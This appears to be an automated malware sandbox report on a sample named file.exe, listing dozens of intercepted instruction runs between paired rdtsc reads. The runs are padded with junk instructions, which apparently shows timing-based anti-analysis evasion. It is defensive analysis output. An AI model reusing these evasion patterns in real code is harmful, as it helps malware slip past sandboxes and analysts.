Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076A03 second address: 1076A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F86385196E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B230 second address: 107B235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B235 second address: 107B245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F86385196DAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B245 second address: 107B26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F863914EA2Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F863914EA2Ch 0x00000015 jbe 00007F863914EA26h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B26F second address: 107B276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B276 second address: 107B280 instructions: 0x00000000 rdtsc 0x00000002 je 00007F863914EA2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6E0 second address: 107B6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F86385196D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6EA second address: 107B6F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B6F3 second address: 107B6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B9A4 second address: 107B9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB2E second address: 107BB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F86385196D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB3B second address: 107BB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F863914EA37h 0x00000008 jmp 00007F863914EA2Fh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB6B second address: 107BB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB6F second address: 107BB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB73 second address: 107BBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F86385196FDh 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F86385196E9h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E38D second address: 107E391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E454 second address: 107E4E7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F86385196D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007F86385196DEh 0x00000013 push esi 0x00000014 jbe 00007F86385196D6h 0x0000001a pop esi 0x0000001b nop 0x0000001c mov edi, 60A8FFA5h 0x00000021 push 00000000h 0x00000023 call 00007F86385196E9h 0x00000028 pushad 0x00000029 add ch, 00000012h 0x0000002c stc 0x0000002d popad 0x0000002e pop edx 0x0000002f xor edx, dword ptr [ebp+122D1ACCh] 0x00000035 push 36E69605h 0x0000003a push esi 0x0000003b jmp 00007F86385196E4h 0x00000040 pop esi 0x00000041 xor dword ptr [esp], 36E69685h 0x00000048 cld 0x00000049 push 00000003h 0x0000004b mov dword ptr [ebp+122D2B8Ch], esi 0x00000051 push 00000000h 0x00000053 mov edi, 331C7D2Dh 0x00000058 push 00000003h 0x0000005a mov si, cx 0x0000005d push B765FE60h 0x00000062 push eax 0x00000063 push edx 0x00000064 jnl 00007F86385196DCh 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E55E second address: 107E562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E562 second address: 107E568 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E568 second address: 107E5A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1BB4h], ecx 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 mov edi, dword ptr [ebp+122D1C63h] 0x0000001b mov ecx, dword ptr [ebp+122D3698h] 0x00000021 popad 0x00000022 call 00007F863914EA29h 0x00000027 pushad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E5A3 second address: 107E5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F86385196DEh 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E5C2 second address: 107E5D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E5D2 second address: 107E5DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F86385196D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E5DD second address: 107E63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jnc 00007F863914EA28h 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jmp 00007F863914EA31h 0x0000001b jmp 00007F863914EA37h 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F863914EA37h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E63B second address: 107E67F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 and edx, dword ptr [ebp+122D3768h] 0x0000000f push 00000003h 0x00000011 mov dword ptr [ebp+122D1BA4h], ecx 0x00000017 push 00000000h 0x00000019 ja 00007F86385196DCh 0x0000001f or edx, dword ptr [ebp+122D35E8h] 0x00000025 push 00000003h 0x00000027 mov edx, 5B159238h 0x0000002c push 7A72EF55h 0x00000031 pushad 0x00000032 jmp 00007F86385196DAh 0x00000037 jo 00007F86385196DCh 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E67F second address: 107E6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 458D10ABh 0x0000000c and edx, dword ptr [ebp+122D28F8h] 0x00000012 lea ebx, dword ptr [ebp+124501CCh] 0x00000018 mov edi, dword ptr [ebp+122D27C2h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F863914EA2Fh 0x00000027 push edi 0x00000028 pop edi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E56E second address: 109E590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F86385196E0h 0x00000009 pop edi 0x0000000a jmp 00007F86385196DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EB4A second address: 109EB53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EB53 second address: 109EB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F86385196D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EE1E second address: 109EE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EE24 second address: 109EE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F86385196D6h 0x0000000d jno 00007F86385196D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EE37 second address: 109EE50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EE50 second address: 109EE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F86385196E0h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109EE66 second address: 109EE7B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F863914EA2Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F141 second address: 109F17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F86385196F2h 0x0000000b js 00007F86385196D6h 0x00000011 jmp 00007F86385196E6h 0x00000016 jnc 00007F86385196DCh 0x0000001c jc 00007F86385196DCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2C3 second address: 109F2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2C9 second address: 109F2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2CD second address: 109F2F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA30h 0x00000007 jmp 00007F863914EA31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F2F6 second address: 109F302 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F86385196D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F302 second address: 109F30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F863914EA26h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F5BC second address: 109F5C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F5C3 second address: 109F5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D7E second address: 1096D93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F86385196DDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096D93 second address: 1096DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F863914EA37h 0x00000009 ja 00007F863914EA26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109F891 second address: 109F8C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DFh 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F86385196E9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A02E0 second address: 10A02FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F863914EA38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A02FC second address: 10A0302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4D3C second address: 10A4D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007F863914EA30h 0x0000000f pop eax 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push ecx 0x00000017 jg 00007F863914EA26h 0x0000001d pop ecx 0x0000001e push ecx 0x0000001f jmp 00007F863914EA35h 0x00000024 pop ecx 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 push ecx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4ECE second address: 10A4ED4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4ED4 second address: 10A4EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4EDA second address: 10A4EF3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4EF3 second address: 10A4EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A7494 second address: 10A7499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC5DC second address: 10AC5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F863914EA30h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E428 second address: 106E455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F86385196E5h 0x00000009 jno 00007F86385196DCh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E455 second address: 106E45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8D6 second address: 10AB8F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F86385196D6h 0x00000009 jbe 00007F86385196D6h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jnl 00007F86385196D6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AB8F4 second address: 10AB8FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABC24 second address: 10ABC36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a ja 00007F86385196D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABC36 second address: 10ABC3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABD95 second address: 10ABDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F86385196D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F86385196E7h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F86385196E7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABDD2 second address: 10ABDF9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F863914EA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F863914EA36h 0x00000010 jl 00007F863914EA26h 0x00000016 jmp 00007F863914EA2Ah 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABDF9 second address: 10ABDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABDFD second address: 10ABE2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F863914EA39h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC174 second address: 10AC1A0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F86385196E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pop esi 0x00000010 jbe 00007F86385196FFh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC1A0 second address: 10AC1BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F863914EA31h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F863914EA2Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD599 second address: 10AD5B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F86385196E0h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD64C second address: 10AD652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADBF6 second address: 10ADBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADD09 second address: 10ADD0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE277 second address: 10AE27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE379 second address: 10AE37F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE37F second address: 10AE383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE51C second address: 10AE522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE8A7 second address: 10AE8B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F86385196D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE8B1 second address: 10AE8E7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F863914EA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F863914EA30h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F863914EA33h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEDE7 second address: 10AEE42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c stc 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+1247DAC0h], edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F86385196D8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 jmp 00007F86385196E9h 0x00000036 push eax 0x00000037 push ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0974 second address: 10B0978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0127 second address: 10B012B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0978 second address: 10B097E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B012B second address: 10B0131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B132D second address: 10B1331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B10E7 second address: 10B10EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1331 second address: 10B134E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B10EB second address: 10B10F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B134E second address: 10B1353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1353 second address: 10B135D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F86385196D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B135D second address: 10B1361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
